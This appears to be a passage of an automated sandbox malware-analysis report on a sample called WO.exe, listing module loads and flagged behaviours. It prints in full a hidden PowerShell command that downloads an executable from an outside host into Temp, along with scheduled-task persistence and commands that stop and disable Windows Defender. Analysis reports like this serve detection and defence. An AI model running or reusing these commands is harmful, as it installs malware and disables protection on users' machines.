Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\WO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: WO.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source:

Binary string: C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb source: reddit.exe.5.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"

Source: C:\Users\user\Desktop\WO.exe

Code function: 0_2_000000014000D9C4 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_000000014000D9C4

Source: WO.exe	Static PE information: section name: .code
Source: WO.exe.1.dr	Static PE information: section name: .code

Source: C:\Users\user\Desktop\WO.exe	Code function: 0_2_000000014001BD2E push rbx; ret	0_2_000000014001BD2F
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_0040B840 push eax; ret	6_2_0040B86E
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00405A5C push edx; ret	6_2_00405A7D
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00406200 push esi; iretd	6_2_0040620B
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_004032D4 push edx; retf	6_2_00403342
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_004056AF push eax; retn 000Ch	6_2_004056B0
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00407D07 push es; retf	6_2_00407D80
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00406D10 pushfd ; ret	6_2_00406D45
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_0040211C push eax; retf	6_2_00402128
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00407D20 push es; retf	6_2_00407D80
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00403331 push edx; retf	6_2_00403342
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Code function: 6_2_00407DB4 push ds; retf	6_2_00407DF6
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 17_2_000000014001BD2E push rbx; ret	17_2_000000014001BD2F
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 18_2_000000014001BD2E push rbx; ret	18_2_000000014001BD2F
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Code function: 48_2_000000014001BD2E push rbx; ret	48_2_000000014001BD2F

Source: reddit.exe.5.dr

Static PE information: section name: .text entropy: 7.006551052925149

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\reddit.exe			Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /query /TN "RunRedditLogon"

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\net.exe net stop WinDefend

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\WO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
